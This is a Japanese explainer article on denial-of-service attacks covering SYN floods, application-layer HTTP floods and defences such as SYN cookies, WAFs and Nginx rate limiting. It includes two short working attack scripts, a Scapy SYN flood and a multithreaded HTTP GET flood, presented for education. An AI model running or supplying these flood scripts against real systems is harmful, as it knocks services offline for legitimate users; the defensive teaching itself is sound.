サービス拒否(DoS)攻撃とは？意味をわかりやすく解説

公開：2024年8月14日更新：2024年8月14日

サービス拒否(DoS)攻撃とは
DoS攻撃の手法と対策
SYN Floodによる攻撃手法
アプリケーション層DoS攻撃
効果的なDoS対策の実装

サービス拒否(DoS)攻撃とは

サービス拒否（DoS）攻撃はコンピューターシステムやネットワークリソースを意図的に過負荷にし、正規ユーザーがサービスを利用できなくする悪意のある行為です。攻撃者は大量のリクエストやトラフィックを標的に送信し、システムの処理能力を圧倒することでサービスの可用性を低下させます。

DoS攻撃の手法は多岐にわたり、SYN floodやUDP flood、HTTP floodなどが代表的です。これらの攻撃はネットワークの帯域幅を消費したり、サーバーのリソースを枯渇させたりすることでシステムの正常な動作を妨げようとします。英名では「Denial of Service attack」と呼ばれています。

DoS攻撃は単一の攻撃元から行われるのに対し、複数の攻撃元を使用する分散型サービス拒否（DDoS）攻撃も存在します。DDoS攻撃はより大規模で検出が困難であり、企業や組織にとって深刻な脅威となっています。防御策としてはファイアウォールの設定やトラフィック分析ツールの導入が効果的です。

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DoS攻撃の手法と対策

「DoS攻撃の手法と対策」に関して以下3つのポイントに分けて簡単に解説します。

SYN Floodによる攻撃手法
アプリケーション層DoS攻撃
効果的なDoS対策の実装

SYN Floodによる攻撃手法

SYN FloodはTCP接続確立プロセスの脆弱性を悪用するDoS攻撃の一種です。攻撃者は大量のSYNパケットを送信し、サーバーのリソースを枯渇させることで正規ユーザーの接続を妨害します。この攻撃はサーバーが半開きの接続を大量に保持することを強制し、システムの処理能力を低下させます。

#!/usr/bin/python
from scapy.all import *

target_ip = "192.168.1.1"
target_port = 80

ip = IP(dst=target_ip)
tcp = TCP(sport=RandShort(), dport=target_port, flags="S")
raw = Raw(b"X"*1024)
p = ip/tcp/raw

send(p, loop=1, verbose=0)

上記のPythonスクリプトは、SYN Flood攻撃のシミュレーションを行うサンプルコードです。Scapyライブラリを使用することで指定されたターゲットIPアドレスとポートに対して、SYNフラグを持つTCPパケットを連続して送信します。このスクリプトは教育目的でのみ使用し、実際のネットワークで実行しないよう注意してください。

SYN Flood攻撃への対策としては、SYN cookiesの実装やファイアウォールでの接続制限が効果的です。また、ネットワーク監視ツールを使用して異常なトラフィックパターンを検出し、早期に対応することも重要です。これらの対策を組み合わせることでSYN Flood攻撃のリスクを大幅に軽減できます。

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アプリケーション層DoS攻撃

アプリケーション層DoS攻撃はWebサーバーやデータベースなど、特定のアプリケーションサービスを標的とする高度な攻撃手法です。この攻撃はHTTPリクエストやSQLクエリなど、正規のトラフィックに見える要求を大量に送信することでサーバーのリソースを消費します。従来のネットワーク層での防御を回避できるため、検出と対策が困難です。

import requests
import threading

def send_requests():
    while True:
        try:
            requests.get("http://target-website.com/resource-intensive-page")
        except:
            pass

for i in range(100):
    t = threading.Thread(target=send_requests)
    t.start()

上記のPythonスクリプトはシンプルなHTTP Flood攻撃のシミュレーションを行います。100個のスレッドを作成し、それぞれが指定されたWebページに対して連続的にGETリクエストを送信します。このコードはDoS攻撃の基本的な仕組みを示していますが、実際のシステムで使用することは違法なので絶対に避けるべきです。

アプリケーション層DoS攻撃への対策としては、Web Application Firewall（WAF）の導入や、レート制限の実装が効果的です。また、アプリケーションのパフォーマンス最適化やキャッシュの適切な利用により、サーバーの耐性を向上させることも重要です。定期的な脆弱性診断と、アプリケーションコードの見直しも、攻撃への耐性を高める上で不可欠な取り組みといえます。

効果的なDoS対策の実装

効果的なDoS対策の実装には多層的なアプローチが必要です。ネットワーク層での対策としては、ファイアウォールやIPS（侵入防止システム）の適切な設定が重要です。これらのツールを使用して異常なトラフィックパターンを検出することでブロックできます。また、CDN（コンテンツデリバリーネットワーク）の利用もトラフィックの分散と攻撃の緩和に効果的です。

// Nginxの設定例
http {
    limit_req_zone $binary_remote_addr zone=one:10m rate=1r/s;

    server {
        location /login/ {
            limit_req zone=one burst=5;
        }
    }
}

上記のNginx設定はリクエストレート制限を実装する例です。この設定ではIPアドレスごとに1秒あたり1リクエストの制限を設け、/login/パスに対するアクセスを制御します。バースト値を5に設定することで一時的なトラフィック増加にも対応できます。このような設定はアプリケーション層DoS攻撃の緩和に効果的です。

さらに、サーバーのリソース管理も重要な対策のひとつです。コネクションプーリングやキャッシュの適切な利用、データベースクエリの最適化などによりシステムの全体的な耐性を向上させることができます。また、定期的なセキュリティ監査とインシデント対応計画の策定もDoS攻撃への備えとして不可欠です。これらの対策を総合的に実施することで、DoS攻撃のリスクを大幅に軽減できます。

※上記コンテンツの内容やソースコードはAIで確認・デバッグしておりますが、間違いやエラー、脆弱性などがある場合は、コメントよりご報告いただけますと幸いです。